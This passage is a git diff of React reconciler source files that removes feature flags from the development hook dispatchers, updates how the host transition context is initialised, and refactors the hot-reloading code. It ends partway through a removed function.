   HooksDispatcherOnUpdateInDEV = {
     readContext<T>(context: ReactContext<T>): T {
@@ -4321,64 +4461,48 @@ if (__DEV__) {
       updateHookTypesDev();
       return updateId();
     },
+    useFormState<S, P>(
+      action: (Awaited<S>, P) => S,
+      initialState: Awaited<S>,
+      permalink?: string,
+    ): [Awaited<S>, (P) => void, boolean] {
+      currentHookNameInDev = 'useFormState';
+      updateHookTypesDev();
+      warnOnUseFormStateInDev();
+      return updateActionState(action, initialState, permalink);
+    },
+    useActionState<S, P>(
+      action: (Awaited<S>, P) => S,
+      initialState: Awaited<S>,
+      permalink?: string,
+    ): [Awaited<S>, (P) => void, boolean] {
+      currentHookNameInDev = 'useActionState';
+      updateHookTypesDev();
+      return updateActionState(action, initialState, permalink);
+    },
+    useOptimistic<S, A>(
+      passthrough: S,
+      reducer: ?(S, A) => S,
+    ): [S, (A) => void] {
+      currentHookNameInDev = 'useOptimistic';
+      updateHookTypesDev();
+      return updateOptimistic(passthrough, reducer);
+    },
+    useHostTransitionStatus,
+    useMemoCache,
+    useCacheRefresh() {
+      currentHookNameInDev = 'useCacheRefresh';
+      updateHookTypesDev();
+      return updateRefresh();
+    },
+    useEffectEvent<Args, Return, F: (...Array<Args>) => Return>(
+      callback: F,
+    ): F {
+      currentHookNameInDev = 'useEffectEvent';
+      updateHookTypesDev();
+      return updateEvent(callback);
+    },
   };
-  if (enableCache) {
-    (HooksDispatcherOnUpdateInDEV: Dispatcher).useCacheRefresh =
-      function useCacheRefresh() {
-        currentHookNameInDev = 'useCacheRefresh';
-        updateHookTypesDev();
-        return updateRefresh();
-      };
-  }
-  if (enableUseMemoCacheHook) {
-    (HooksDispatcherOnUpdateInDEV: Dispatcher).useMemoCache = useMemoCache;
-  }
-  if (enableUseEffectEventHook) {
-    (HooksDispatcherOnUpdateInDEV: Dispatcher).useEffectEvent =
-      function useEffectEvent<Args, Return, F: (...Array<Args>) => Return>(
-        callback: F,
-      ): F {
-        currentHookNameInDev = 'useEffectEvent';
-        updateHookTypesDev();
-        return updateEvent(callback);
-      };
-  }
-  if (enableAsyncActions) {
-    (HooksDispatcherOnUpdateInDEV: Dispatcher).useHostTransitionStatus =
-      useHostTransitionStatus;
-    (HooksDispatcherOnUpdateInDEV: Dispatcher).useFormState =
-      function useFormState<S, P>(
-        action: (Awaited<S>, P) => S,
-        initialState: Awaited<S>,
-        permalink?: string,
-      ): [Awaited<S>, (P) => void, boolean] {
-        currentHookNameInDev = 'useFormState';
-        updateHookTypesDev();
-        warnOnUseFormStateInDev();
-        return updateActionState(action, initialState, permalink);
-      };
-    (HooksDispatcherOnUpdateInDEV: Dispatcher).useActionState =
-      function useActionState<S, P>(
-        action: (Awaited<S>, P) => S,
-        initialState: Awaited<S>,
-        permalink?: string,
-      ): [Awaited<S>, (P) => void, boolean] {
-        currentHookNameInDev = 'useActionState';
-        updateHookTypesDev();
-        return updateActionState(action, initialState, permalink);
-      };
-  }
-  if (enableAsyncActions) {
-    (HooksDispatcherOnUpdateInDEV: Dispatcher).useOptimistic =
-      function useOptimistic<S, A>(
-        passthrough: S,
-        reducer: ?(S, A) => S,
-      ): [S, (A) => void] {
-        currentHookNameInDev = 'useOptimistic';
-        updateHookTypesDev();
-        return updateOptimistic(passthrough, reducer);
-      };
-  }
 
   HooksDispatcherOnRerenderInDEV = {
     readContext<T>(context: ReactContext<T>): T {
@@ -4501,64 +4625,48 @@ if (__DEV__) {
       updateHookTypesDev();
       return updateId();
     },
+    useFormState<S, P>(
+      action: (Awaited<S>, P) => S,
+      initialState: Awaited<S>,
+      permalink?: string,
+    ): [Awaited<S>, (P) => void, boolean] {
+      currentHookNameInDev = 'useFormState';
+      updateHookTypesDev();
+      warnOnUseFormStateInDev();
+      return rerenderActionState(action, initialState, permalink);
+    },
+    useActionState<S, P>(
+      action: (Awaited<S>, P) => S,
+      initialState: Awaited<S>,
+      permalink?: string,
+    ): [Awaited<S>, (P) => void, boolean] {
+      currentHookNameInDev = 'useActionState';
+      updateHookTypesDev();
+      return rerenderActionState(action, initialState, permalink);
+    },
+    useOptimistic<S, A>(
+      passthrough: S,
+      reducer: ?(S, A) => S,
+    ): [S, (A) => void] {
+      currentHookNameInDev = 'useOptimistic';
+      updateHookTypesDev();
+      return rerenderOptimistic(passthrough, reducer);
+    },
+    useHostTransitionStatus,
+    useMemoCache,
+    useCacheRefresh() {
+      currentHookNameInDev = 'useCacheRefresh';
+      updateHookTypesDev();
+      return updateRefresh();
+    },
+    useEffectEvent<Args, Return, F: (...Array<Args>) => Return>(
+      callback: F,
+    ): F {
+      currentHookNameInDev = 'useEffectEvent';
+      updateHookTypesDev();
+      return updateEvent(callback);
+    },
   };
-  if (enableCache) {
-    (HooksDispatcherOnRerenderInDEV: Dispatcher).useCacheRefresh =
-      function useCacheRefresh() {
-        currentHookNameInDev = 'useCacheRefresh';
-        updateHookTypesDev();
-        return updateRefresh();
-      };
-  }
-  if (enableUseMemoCacheHook) {
-    (HooksDispatcherOnRerenderInDEV: Dispatcher).useMemoCache = useMemoCache;
-  }
-  if (enableUseEffectEventHook) {
-    (HooksDispatcherOnRerenderInDEV: Dispatcher).useEffectEvent =
-      function useEffectEvent<Args, Return, F: (...Array<Args>) => Return>(
-        callback: F,
-      ): F {
-        currentHookNameInDev = 'useEffectEvent';
-        updateHookTypesDev();
-        return updateEvent(callback);
-      };
-  }
-  if (enableAsyncActions) {
-    (HooksDispatcherOnRerenderInDEV: Dispatcher).useHostTransitionStatus =
-      useHostTransitionStatus;
-    (HooksDispatcherOnRerenderInDEV: Dispatcher).useFormState =
-      function useFormState<S, P>(
-        action: (Awaited<S>, P) => S,
-        initialState: Awaited<S>,
-        permalink?: string,
-      ): [Awaited<S>, (P) => void, boolean] {
-        currentHookNameInDev = 'useFormState';
-        updateHookTypesDev();
-        warnOnUseFormStateInDev();
-        return rerenderActionState(action, initialState, permalink);
-      };
-    (HooksDispatcherOnRerenderInDEV: Dispatcher).useActionState =
-      function useActionState<S, P>(
-        action: (Awaited<S>, P) => S,
-        initialState: Awaited<S>,
-        permalink?: string,
-      ): [Awaited<S>, (P) => void, boolean] {
-        currentHookNameInDev = 'useActionState';
-        updateHookTypesDev();
-        return rerenderActionState(action, initialState, permalink);
-      };
-  }
-  if (enableAsyncActions) {
-    (HooksDispatcherOnRerenderInDEV: Dispatcher).useOptimistic =
-      function useOptimistic<S, A>(
-        passthrough: S,
-        reducer: ?(S, A) => S,
-      ): [S, (A) => void] {
-        currentHookNameInDev = 'useOptimistic';
-        updateHookTypesDev();
-        return rerenderOptimistic(passthrough, reducer);
-      };
-  }
 
   InvalidNestedHooksDispatcherOnMountInDEV = {
     readContext<T>(context: ReactContext<T>): T {
@@ -4700,71 +4808,54 @@ if (__DEV__) {
       mountHookTypesDev();
       return mountId();
     },
+    useFormState<S, P>(
+      action: (Awaited<S>, P) => S,
+      initialState: Awaited<S>,
+      permalink?: string,
+    ): [Awaited<S>, (P) => void, boolean] {
+      currentHookNameInDev = 'useFormState';
+      warnInvalidHookAccess();
+      mountHookTypesDev();
+      return mountActionState(action, initialState, permalink);
+    },
+    useActionState<S, P>(
+      action: (Awaited<S>, P) => S,
+      initialState: Awaited<S>,
+      permalink?: string,
+    ): [Awaited<S>, (P) => void, boolean] {
+      currentHookNameInDev = 'useActionState';
+      warnInvalidHookAccess();
+      mountHookTypesDev();
+      return mountActionState(action, initialState, permalink);
+    },
+    useOptimistic<S, A>(
+      passthrough: S,
+      reducer: ?(S, A) => S,
+    ): [S, (A) => void] {
+      currentHookNameInDev = 'useOptimistic';
+      warnInvalidHookAccess();
+      mountHookTypesDev();
+      return mountOptimistic(passthrough, reducer);
+    },
+    useMemoCache(size: number): Array<any> {
+      warnInvalidHookAccess();
+      return useMemoCache(size);
+    },
+    useHostTransitionStatus,
+    useCacheRefresh() {
+      currentHookNameInDev = 'useCacheRefresh';
+      mountHookTypesDev();
+      return mountRefresh();
+    },
+    useEffectEvent<Args, Return, F: (...Array<Args>) => Return>(
+      callback: F,
+    ): F {
+      currentHookNameInDev = 'useEffectEvent';
+      warnInvalidHookAccess();
+      mountHookTypesDev();
+      return mountEvent(callback);
+    },
   };
-  if (enableCache) {
-    (InvalidNestedHooksDispatcherOnMountInDEV: Dispatcher).useCacheRefresh =
-      function useCacheRefresh() {
-        currentHookNameInDev = 'useCacheRefresh';
-        mountHookTypesDev();
-        return mountRefresh();
-      };
-  }
-  if (enableUseMemoCacheHook) {
-    (InvalidNestedHooksDispatcherOnMountInDEV: Dispatcher).useMemoCache =
-      function (size: number): Array<any> {
-        warnInvalidHookAccess();
-        return useMemoCache(size);
-      };
-  }
-  if (enableUseEffectEventHook) {
-    (InvalidNestedHooksDispatcherOnMountInDEV: Dispatcher).useEffectEvent =
-      function useEffectEvent<Args, Return, F: (...Array<Args>) => Return>(
-        callback: F,
-      ): F {
-        currentHookNameInDev = 'useEffectEvent';
-        warnInvalidHookAccess();
-        mountHookTypesDev();
-        return mountEvent(callback);
-      };
-  }
-  if (enableAsyncActions) {
-    (InvalidNestedHooksDispatcherOnMountInDEV: Dispatcher).useHostTransitionStatus =
-      useHostTransitionStatus;
-    (InvalidNestedHooksDispatcherOnMountInDEV: Dispatcher).useFormState =
-      function useFormState<S, P>(
-        action: (Awaited<S>, P) => S,
-        initialState: Awaited<S>,
-        permalink?: string,
-      ): [Awaited<S>, (P) => void, boolean] {
-        currentHookNameInDev = 'useFormState';
-        warnInvalidHookAccess();
-        mountHookTypesDev();
-        return mountActionState(action, initialState, permalink);
-      };
-    (InvalidNestedHooksDispatcherOnMountInDEV: Dispatcher).useActionState =
-      function useActionState<S, P>(
-        action: (Awaited<S>, P) => S,
-        initialState: Awaited<S>,
-        permalink?: string,
-      ): [Awaited<S>, (P) => void, boolean] {
-        currentHookNameInDev = 'useActionState';
-        warnInvalidHookAccess();
-        mountHookTypesDev();
-        return mountActionState(action, initialState, permalink);
-      };
-  }
-  if (enableAsyncActions) {
-    (InvalidNestedHooksDispatcherOnMountInDEV: Dispatcher).useOptimistic =
-      function useOptimistic<S, A>(
-        passthrough: S,
-        reducer: ?(S, A) => S,
-      ): [S, (A) => void] {
-        currentHookNameInDev = 'useOptimistic';
-        warnInvalidHookAccess();
-        mountHookTypesDev();
-        return mountOptimistic(passthrough, reducer);
-      };
-  }
 
   InvalidNestedHooksDispatcherOnUpdateInDEV = {
     readContext<T>(context: ReactContext<T>): T {
@@ -4906,71 +4997,54 @@ if (__DEV__) {
       updateHookTypesDev();
       return updateId();
     },
+    useFormState<S, P>(
+      action: (Awaited<S>, P) => S,
+      initialState: Awaited<S>,
+      permalink?: string,
+    ): [Awaited<S>, (P) => void, boolean] {
+      currentHookNameInDev = 'useFormState';
+      warnInvalidHookAccess();
+      updateHookTypesDev();
+      return updateActionState(action, initialState, permalink);
+    },
+    useActionState<S, P>(
+      action: (Awaited<S>, P) => S,
+      initialState: Awaited<S>,
+      permalink?: string,
+    ): [Awaited<S>, (P) => void, boolean] {
+      currentHookNameInDev = 'useActionState';
+      warnInvalidHookAccess();
+      updateHookTypesDev();
+      return updateActionState(action, initialState, permalink);
+    },
+    useOptimistic<S, A>(
+      passthrough: S,
+      reducer: ?(S, A) => S,
+    ): [S, (A) => void] {
+      currentHookNameInDev = 'useOptimistic';
+      warnInvalidHookAccess();
+      updateHookTypesDev();
+      return updateOptimistic(passthrough, reducer);
+    },
+    useMemoCache(size: number): Array<any> {
+      warnInvalidHookAccess();
+      return useMemoCache(size);
+    },
+    useHostTransitionStatus,
+    useCacheRefresh() {
+      currentHookNameInDev = 'useCacheRefresh';
+      updateHookTypesDev();
+      return updateRefresh();
+    },
+    useEffectEvent<Args, Return, F: (...Array<Args>) => Return>(
+      callback: F,
+    ): F {
+      currentHookNameInDev = 'useEffectEvent';
+      warnInvalidHookAccess();
+      updateHookTypesDev();
+      return updateEvent(callback);
+    },
   };
-  if (enableCache) {
-    (InvalidNestedHooksDispatcherOnUpdateInDEV: Dispatcher).useCacheRefresh =
-      function useCacheRefresh() {
-        currentHookNameInDev = 'useCacheRefresh';
-        updateHookTypesDev();
-        return updateRefresh();
-      };
-  }
-  if (enableUseMemoCacheHook) {
-    (InvalidNestedHooksDispatcherOnUpdateInDEV: Dispatcher).useMemoCache =
-      function (size: number): Array<any> {
-        warnInvalidHookAccess();
-        return useMemoCache(size);
-      };
-  }
-  if (enableUseEffectEventHook) {
-    (InvalidNestedHooksDispatcherOnUpdateInDEV: Dispatcher).useEffectEvent =
-      function useEffectEvent<Args, Return, F: (...Array<Args>) => Return>(
-        callback: F,
-      ): F {
-        currentHookNameInDev = 'useEffectEvent';
-        warnInvalidHookAccess();
-        updateHookTypesDev();
-        return updateEvent(callback);
-      };
-  }
-  if (enableAsyncActions) {
-    (InvalidNestedHooksDispatcherOnUpdateInDEV: Dispatcher).useHostTransitionStatus =
-      useHostTransitionStatus;
-    (InvalidNestedHooksDispatcherOnUpdateInDEV: Dispatcher).useFormState =
-      function useFormState<S, P>(
-        action: (Awaited<S>, P) => S,
-        initialState: Awaited<S>,
-        permalink?: string,
-      ): [Awaited<S>, (P) => void, boolean] {
-        currentHookNameInDev = 'useFormState';
-        warnInvalidHookAccess();
-        updateHookTypesDev();
-        return updateActionState(action, initialState, permalink);
-      };
-    (InvalidNestedHooksDispatcherOnUpdateInDEV: Dispatcher).useActionState =
-      function useActionState<S, P>(
-        action: (Awaited<S>, P) => S,
-        initialState: Awaited<S>,
-        permalink?: string,
-      ): [Awaited<S>, (P) => void, boolean] {
-        currentHookNameInDev = 'useActionState';
-        warnInvalidHookAccess();
-        updateHookTypesDev();
-        return updateActionState(action, initialState, permalink);
-      };
-  }
-  if (enableAsyncActions) {
-    (InvalidNestedHooksDispatcherOnUpdateInDEV: Dispatcher).useOptimistic =
-      function useOptimistic<S, A>(
-        passthrough: S,
-        reducer: ?(S, A) => S,
-      ): [S, (A) => void] {
-        currentHookNameInDev = 'useOptimistic';
-        warnInvalidHookAccess();
-        updateHookTypesDev();
-        return updateOptimistic(passthrough, reducer);
-      };
-  }
 
   InvalidNestedHooksDispatcherOnRerenderInDEV = {
     readContext<T>(context: ReactContext<T>): T {
@@ -5112,69 +5186,52 @@ if (__DEV__) {
       updateHookTypesDev();
       return updateId();
     },
+    useFormState<S, P>(
+      action: (Awaited<S>, P) => S,
+      initialState: Awaited<S>,
+      permalink?: string,
+    ): [Awaited<S>, (P) => void, boolean] {
+      currentHookNameInDev = 'useFormState';
+      warnInvalidHookAccess();
+      updateHookTypesDev();
+      return rerenderActionState(action, initialState, permalink);
+    },
+    useActionState<S, P>(
+      action: (Awaited<S>, P) => S,
+      initialState: Awaited<S>,
+      permalink?: string,
+    ): [Awaited<S>, (P) => void, boolean] {
+      currentHookNameInDev = 'useActionState';
+      warnInvalidHookAccess();
+      updateHookTypesDev();
+      return rerenderActionState(action, initialState, permalink);
+    },
+    useOptimistic<S, A>(
+      passthrough: S,
+      reducer: ?(S, A) => S,
+    ): [S, (A) => void] {
+      currentHookNameInDev = 'useOptimistic';
+      warnInvalidHookAccess();
+      updateHookTypesDev();
+      return rerenderOptimistic(passthrough, reducer);
+    },
+    useMemoCache(size: number): Array<any> {
+      warnInvalidHookAccess();
+      return useMemoCache(size);
+    },
+    useHostTransitionStatus,
+    useCacheRefresh() {
+      currentHookNameInDev = 'useCacheRefresh';
+      updateHookTypesDev();
+      return updateRefresh();
+    },
+    useEffectEvent<Args, Return, F: (...Array<Args>) => Return>(
+      callback: F,
+    ): F {
+      currentHookNameInDev = 'useEffectEvent';
+      warnInvalidHookAccess();
+      updateHookTypesDev();
+      return updateEvent(callback);
+    },
   };
-  if (enableCache) {
-    (InvalidNestedHooksDispatcherOnRerenderInDEV: Dispatcher).useCacheRefresh =
-      function useCacheRefresh() {
-        currentHookNameInDev = 'useCacheRefresh';
-        updateHookTypesDev();
-        return updateRefresh();
-      };
-  }
-  if (enableUseMemoCacheHook) {
-    (InvalidNestedHooksDispatcherOnRerenderInDEV: Dispatcher).useMemoCache =
-      function (size: number): Array<any> {
-        warnInvalidHookAccess();
-        return useMemoCache(size);
-      };
-  }
-  if (enableUseEffectEventHook) {
-    (InvalidNestedHooksDispatcherOnRerenderInDEV: Dispatcher).useEffectEvent =
-      function useEffectEvent<Args, Return, F: (...Array<Args>) => Return>(
-        callback: F,
-      ): F {
-        currentHookNameInDev = 'useEffectEvent';
-        warnInvalidHookAccess();
-        updateHookTypesDev();
-        return updateEvent(callback);
-      };
-  }
-  if (enableAsyncActions) {
-    (InvalidNestedHooksDispatcherOnRerenderInDEV: Dispatcher).useHostTransitionStatus =
-      useHostTransitionStatus;
-    (InvalidNestedHooksDispatcherOnRerenderInDEV: Dispatcher).useFormState =
-      function useFormState<S, P>(
-        action: (Awaited<S>, P) => S,
-        initialState: Awaited<S>,
-        permalink?: string,
-      ): [Awaited<S>, (P) => void, boolean] {
-        currentHookNameInDev = 'useFormState';
-        warnInvalidHookAccess();
-        updateHookTypesDev();
-        return rerenderActionState(action, initialState, permalink);
-      };
-    (InvalidNestedHooksDispatcherOnRerenderInDEV: Dispatcher).useActionState =
-      function useActionState<S, P>(
-        action: (Awaited<S>, P) => S,
-        initialState: Awaited<S>,
-        permalink?: string,
-      ): [Awaited<S>, (P) => void, boolean] {
-        currentHookNameInDev = 'useActionState';
-        warnInvalidHookAccess();
-        updateHookTypesDev();
-        return rerenderActionState(action, initialState, permalink);
-      };
-  }
-  if (enableAsyncActions) {
-    (InvalidNestedHooksDispatcherOnRerenderInDEV: Dispatcher).useOptimistic =
-      function useOptimistic<S, A>(
-        passthrough: S,
-        reducer: ?(S, A) => S,
-      ): [S, (A) => void] {
-        currentHookNameInDev = 'useOptimistic';
-        warnInvalidHookAccess();
-        updateHookTypesDev();
-        return rerenderOptimistic(passthrough, reducer);
-      };
-  }
 }
diff --git a/packages/react-reconciler/src/ReactFiberHostContext.js b/packages/react-reconciler/src/ReactFiberHostContext.js
index f930799f5638..2d2ec4c88acd 100644
--- a/packages/react-reconciler/src/ReactFiberHostContext.js
+++ b/packages/react-reconciler/src/ReactFiberHostContext.js
@@ -15,16 +15,15 @@ import type {
   TransitionStatus,
 } from './ReactFiberConfig';
 import type {Hook} from './ReactFiberHooks';
-import type {ReactContext} from 'shared/ReactTypes';
 
 import {
   getChildHostContext,
   getRootHostContext,
+  HostTransitionContext,
+  NotPendingTransition,
   isPrimaryRenderer,
 } from './ReactFiberConfig';
 import {createCursor, push, pop} from './ReactFiberStack';
-import {REACT_CONTEXT_TYPE} from 'shared/ReactSymbols';
-import {enableAsyncActions} from 'shared/ReactFeatureFlags';
 
 const contextStackCursor: StackCursor<HostContext | null> = createCursor(null);
 const contextFiberStackCursor: StackCursor<Fiber | null> = createCursor(null);
@@ -38,21 +37,6 @@ const rootInstanceStackCursor: StackCursor<Container | null> =
 const hostTransitionProviderCursor: StackCursor<Fiber | null> =
   createCursor(null);
 
-// TODO: This should initialize to NotPendingTransition, a constant
-// imported from the fiber config. However, because of a cycle in the module
-// graph, that value isn't defined during this module's initialization. I can't
-// think of a way to work around this without moving that value out of the
-// fiber config. For now, the "no provider" case is handled when reading,
-// inside useHostTransitionStatus.
-export const HostTransitionContext: ReactContext<TransitionStatus | null> = {
-  $$typeof: REACT_CONTEXT_TYPE,
-  Provider: (null: any),
-  Consumer: (null: any),
-  _currentValue: null,
-  _currentValue2: null,
-  _threadCount: 0,
-};
-
 function requiredContext<Value>(c: Value | null): Value {
   if (__DEV__) {
     if (c === null) {
@@ -110,13 +94,26 @@ function getHostContext(): HostContext {
 }
 
 function pushHostContext(fiber: Fiber): void {
-  if (enableAsyncActions) {
-    const stateHook: Hook | null = fiber.memoizedState;
-    if (stateHook !== null) {
-      // Only provide context if this fiber has been upgraded by a host
-      // transition. We use the same optimization for regular host context below.
-      push(hostTransitionProviderCursor, fiber, fiber);
+  const stateHook: Hook | null = fiber.memoizedState;
+  if (stateHook !== null) {
+    // Propagate the current state to all the descendents.
+    // We use Context as an implementation detail for this.
+    //
+    // NOTE: This assumes that there cannot be nested transition providers,
+    // because the only renderer that implements this feature is React DOM,
+    // and forms cannot be nested. If we did support nested providers, then
+    // we would need to push a context value even for host fibers that
+    // haven't been upgraded yet.
+    const transitionStatus: TransitionStatus = stateHook.memoizedState;
+    if (isPrimaryRenderer) {
+      HostTransitionContext._currentValue = transitionStatus;
+    } else {
+      HostTransitionContext._currentValue2 = transitionStatus;
     }
+
+    // Only provide context if this fiber has been upgraded by a host
+    // transition. We use the same optimization for regular host context below.
+    push(hostTransitionProviderCursor, fiber, fiber);
   }
 
   const context: HostContext = requiredContext(contextStackCursor.current);
@@ -139,25 +136,23 @@ function popHostContext(fiber: Fiber): void {
     pop(contextFiberStackCursor, fiber);
   }
 
-  if (enableAsyncActions) {
-    if (hostTransitionProviderCursor.current === fiber) {
-      // Do not pop unless this Fiber provided the current context. This is mostly
-      // a performance optimization, but conveniently it also prevents a potential
-      // data race where a host provider is upgraded (i.e. memoizedState becomes
-      // non-null) during a concurrent event. This is a bit of a flaw in the way
-      // we upgrade host components, but because we're accounting for it here, it
-      // should be fine.
-      pop(hostTransitionProviderCursor, fiber);
-
-      // When popping the transition provider, we reset the context value back
-      // to `null`. We can do this because you're not allowd to nest forms. If
-      // we allowed for multiple nested host transition providers, then we'd
-      // need to reset this to the parent provider's status.
-      if (isPrimaryRenderer) {
-        HostTransitionContext._currentValue = null;
-      } else {
-        HostTransitionContext._currentValue2 = null;
-      }
+  if (hostTransitionProviderCursor.current === fiber) {
+    // Do not pop unless this Fiber provided the current context. This is mostly
+    // a performance optimization, but conveniently it also prevents a potential
+    // data race where a host provider is upgraded (i.e. memoizedState becomes
+    // non-null) during a concurrent event. This is a bit of a flaw in the way
+    // we upgrade host components, but because we're accounting for it here, it
+    // should be fine.
+    pop(hostTransitionProviderCursor, fiber);
+
+    // When popping the transition provider, we reset the context value back
+    // to `NotPendingTransition`. We can do this because you're not allowed to nest forms. If
+    // we allowed for multiple nested host transition providers, then we'd
+    // need to reset this to the parent provider's status.
+    if (isPrimaryRenderer) {
+      HostTransitionContext._currentValue = NotPendingTransition;
+    } else {
+      HostTransitionContext._currentValue2 = NotPendingTransition;
     }
   }
 }
diff --git a/packages/react-reconciler/src/ReactFiberHotReloading.js b/packages/react-reconciler/src/ReactFiberHotReloading.js
index 538dfe644972..984f832359f7 100644
--- a/packages/react-reconciler/src/ReactFiberHotReloading.js
+++ b/packages/react-reconciler/src/ReactFiberHotReloading.js
@@ -11,27 +11,21 @@
 
 import type {ReactElement} from 'shared/ReactElementType';
 import type {Fiber, FiberRoot} from './ReactInternalTypes';
-import type {Instance} from './ReactFiberConfig';
 import type {ReactNodeList} from 'shared/ReactTypes';
 
 import {
   flushSyncWork,
   scheduleUpdateOnFiber,
-  flushPassiveEffects,
+  flushPendingEffects,
 } from './ReactFiberWorkLoop';
 import {enqueueConcurrentRenderForLane} from './ReactFiberConcurrentUpdates';
 import {updateContainerSync} from './ReactFiberReconciler';
-import {emptyContextObject} from './ReactFiberContext';
+import {emptyContextObject} from './ReactFiberLegacyContext';
 import {SyncLane} from './ReactFiberLane';
 import {
   ClassComponent,
   FunctionComponent,
   ForwardRef,
-  HostComponent,
-  HostHoistable,
-  HostSingleton,
-  HostPortal,
-  HostRoot,
   MemoComponent,
   SimpleMemoComponent,
 } from './ReactWorkTags';
@@ -40,7 +34,6 @@ import {
   REACT_MEMO_TYPE,
   REACT_LAZY_TYPE,
 } from 'shared/ReactSymbols';
-import {supportsSingletons} from './ReactFiberConfig';
 
 export type Family = {
   current: any,
@@ -58,10 +51,6 @@ type RefreshHandler = any => Family | void;
 export type SetRefreshHandler = (handler: RefreshHandler | null) => void;
 export type ScheduleRefresh = (root: FiberRoot, update: RefreshUpdate) => void;
 export type ScheduleRoot = (root: FiberRoot, element: ReactNodeList) => void;
-export type FindHostInstancesForRefresh = (
-  root: FiberRoot,
-  families: Array<Family>,
-) => Set<Instance>;
 
 let resolveFamily: RefreshHandler | null = null;
 let failedBoundaries: WeakSet<Fiber> | null = null;
@@ -240,7 +229,7 @@ export const scheduleRefresh: ScheduleRefresh = (
       return;
     }
     const {staleFamilies, updatedFamilies} = update;
-    flushPassiveEffects();
+    flushPendingEffects();
     scheduleFibersWithFamiliesRecursively(
       root.current,
       updatedFamilies,
@@ -272,222 +261,74 @@ function scheduleFibersWithFamiliesRecursively(
   staleFamilies: Set<Family>,
 ): void {
   if (__DEV__) {
-    const {alternate, child, sibling, tag, type} = fiber;
-
-    let candidateType = null;
-    switch (tag) {
-      case FunctionComponent:
-      case SimpleMemoComponent:
-      case ClassComponent:
-        candidateType = type;
-        break;
-      case ForwardRef:
-        candidateType = type.render;
-        break;
-      default:
-        break;
-    }
+    do {
+      const {alternate, child, sibling, tag, type} = fiber;
+
+      let candidateType = null;
+      switch (tag) {
+        case FunctionComponent:
+        case SimpleMemoComponent:
+        case ClassComponent:
+          candidateType = type;
+          break;
+        case ForwardRef:
+          candidateType = type.render;
+          break;
+        default:
+          break;
+      }
 
-    if (resolveFamily === null) {
-      throw new Error('Expected resolveFamily to be set during hot reload.');
-    }
+      if (resolveFamily === null) {
+        throw new Error('Expected resolveFamily to be set during hot reload.');
+      }
 
-    let needsRender = false;
-    let needsRemount = false;
-    if (candidateType !== null) {
-      const family = resolveFamily(candidateType);
-      if (family !== undefined) {
-        if (staleFamilies.has(family)) {
-          needsRemount = true;
-        } else if (updatedFamilies.has(family)) {
-          if (tag === ClassComponent) {
+      let needsRender = false;
+      let needsRemount = false;
+      if (candidateType !== null) {
+        const family = resolveFamily(candidateType);
+        if (family !== undefined) {
+          if (staleFamilies.has(family)) {
             needsRemount = true;
-          } else {
-            needsRender = true;
+          } else if (updatedFamilies.has(family)) {
+            if (tag === ClassComponent) {
+              needsRemount = true;
+            } else {
+              needsRender = true;
+            }
           }
         }
       }
-    }
-    if (failedBoundaries !== null) {
-      if (
-        failedBoundaries.has(fiber) ||
-        // $FlowFixMe[incompatible-use] found when upgrading Flow
-        (alternate !== null && failedBoundaries.has(alternate))
-      ) {
-        needsRemount = true;
+      if (failedBoundaries !== null) {
+        if (
+          failedBoundaries.has(fiber) ||
+          // $FlowFixMe[incompatible-use] found when upgrading Flow
+          (alternate !== null && failedBoundaries.has(alternate))
+        ) {
+          needsRemount = true;
+        }
       }
-    }
 
-    if (needsRemount) {
-      fiber._debugNeedsRemount = true;
-    }
-    if (needsRemount || needsRender) {
-      const root = enqueueConcurrentRenderForLane(fiber, SyncLane);
-      if (root !== null) {
-        scheduleUpdateOnFiber(root, fiber, SyncLane);
+      if (needsRemount) {
+        fiber._debugNeedsRemount = true;
       }
-    }
-    if (child !== null && !needsRemount) {
-      scheduleFibersWithFamiliesRecursively(
-        child,
-        updatedFamilies,
-        staleFamilies,
-      );
-    }
-    if (sibling !== null) {
-      scheduleFibersWithFamiliesRecursively(
-        sibling,
-        updatedFamilies,
-        staleFamilies,
-      );
-    }
-  }
-}
-
-export const findHostInstancesForRefresh: FindHostInstancesForRefresh = (
-  root: FiberRoot,
-  families: Array<Family>,
-): Set<Instance> => {
-  if (__DEV__) {
-    const hostInstances = new Set<Instance>();
-    const types = new Set(families.map(family => family.current));
-    findHostInstancesForMatchingFibersRecursively(
-      root.current,
-      types,
-      hostInstances,
-    );
-    return hostInstances;
-  } else {
-    throw new Error(
-      'Did not expect findHostInstancesForRefresh to be called in production.',
-    );
-  }
-};
-
-function findHostInstancesForMatchingFibersRecursively(
-  fiber: Fiber,
-  types: Set<any>,
-  hostInstances: Set<Instance>,
-) {
-  if (__DEV__) {
-    const {child, sibling, tag, type} = fiber;
-
-    let candidateType = null;
-    switch (tag) {
-      case FunctionComponent:
-      case SimpleMemoComponent:
-      case ClassComponent:
-        candidateType = type;
-        break;
-      case ForwardRef:
-        candidateType = type.render;
-        break;
-      default:
-        break;
-    }
-
-    let didMatch = false;
-    if (candidateType !== null) {
-      if (types.has(candidateType)) {
-        didMatch = true;
+      if (needsRemount || needsRender) {
+        const root = enqueueConcurrentRenderForLane(fiber, SyncLane);
+        if (root !== null) {
+          scheduleUpdateOnFiber(root, fiber, SyncLane);
+        }
       }
-    }
-
-    if (didMatch) {
-      // We have a match. This only drills down to the closest host components.
-      // There's no need to search deeper because for the purpose of giving
-      // visual feedback, "flashing" outermost parent rectangles is sufficient.
-      findHostInstancesForFiberShallowly(fiber, hostInstances);
-    } else {
-      // If there's no match, maybe there will be one further down in the child tree.
-      if (child !== null) {
-        findHostInstancesForMatchingFibersRecursively(
+      if (child !== null && !needsRemount) {
+        scheduleFibersWithFamiliesRecursively(
           child,
-          types,
-          hostInstances,
+          updatedFamilies,
+          staleFamilies,
         );
       }
-    }
-
-    if (sibling !== null) {
-      findHostInstancesForMatchingFibersRecursively(
-        sibling,
-        types,
-        hostInstances,
-      );
-    }
-  }
-}
-
-function findHostInstancesForFiberShallowly(
-  fiber: Fiber,
-  hostInstances: Set<Instance>,
-): void {
-  if (__DEV__) {
-    const foundHostInstances = findChildHostInstancesForFiberShallowly(
-      fiber,
-      hostInstances,
-    );
-    if (foundHostInstances) {
-      return;
-    }
-    // If we didn't find any host children, fallback to closest host parent.
-    let node = fiber;
-    while (true) {
-      switch (node.tag) {
-        case HostSingleton:
-        case HostComponent:
-          hostInstances.add(node.stateNode);
-          return;
-        case HostPortal:
-          hostInstances.add(node.stateNode.containerInfo);
-          return;
-        case HostRoot:
-          hostInstances.add(node.stateNode.containerInfo);
-          return;
-      }
-      if (node.return === null) {
-        throw new Error('Expected to reach root first.');
-      }
-      node = node.return;
-    }
-  }
-}
 
-function findChildHostInstancesForFiberShallowly(
-  fiber: Fiber,
-  hostInstances: Set<Instance>,
